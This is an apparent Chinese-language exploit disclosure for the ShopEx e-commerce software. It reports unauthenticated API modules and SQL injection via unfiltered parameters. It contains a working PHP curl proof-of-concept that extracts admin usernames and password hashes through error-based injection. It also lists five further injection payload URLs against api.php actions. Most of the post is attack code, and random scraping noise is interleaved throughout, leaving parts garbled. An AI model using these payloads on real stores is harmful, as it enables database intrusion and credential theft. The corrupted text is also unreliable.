|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
0 N4 v' c3 O( x" Rcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php. v. Q6 `1 d `9 I+ @
7 _7 P( g3 W2 Z8 x: e第44行 $data['columns'] 未做过滤导致注入* u/ ]% [2 n% N" D/ a. u3 b5 {
4 A8 h: k$ s' L. g
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.; J* q: Y. K$ A Q
* b, f. Q6 z& R& ^/ {注射1:/ c0 k3 M$ {9 j, ^/ t
! [" q, j- W- F y+ o. ihttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#' j5 _; ~( b# P2 _5 j$ t' @
4 r8 z5 l7 G+ F( t" S( q注射2:" h5 d1 Z; q9 n( @; j
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
4 u# G8 |3 m( g$ s5 R1 ~+ s9 h+ Z$ p+ _
注射3:' @, w2 {/ @) W$ f5 Y
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx2 x# Q5 H& t! }! y6 R# v! `: t- o
注射4:- T# f# R% d' V; \! q$ S% P
: T; M) l% \1 ^$ q8 B$ c9 `http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
+ A, r0 z" Q6 p' P3 P' q' P# p- q) h$ t. R
0 m f3 ~ ` {
注射5:! a8 o, n2 e" A$ {& Z& Y+ P4 @
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx# D7 R, S( Z& M8 l. S& A2 E1 y' x" G
+ |% `' U( X; R( Y+ ]
" s3 _3 L) U. }5 k6 ~5 C+ r7 n4 O- a* h1 W
3 n* S9 }8 l9 J! T
' g, B( H4 U# j2 S- K W1 v
9 o( Y4 V) [2 ^ |
|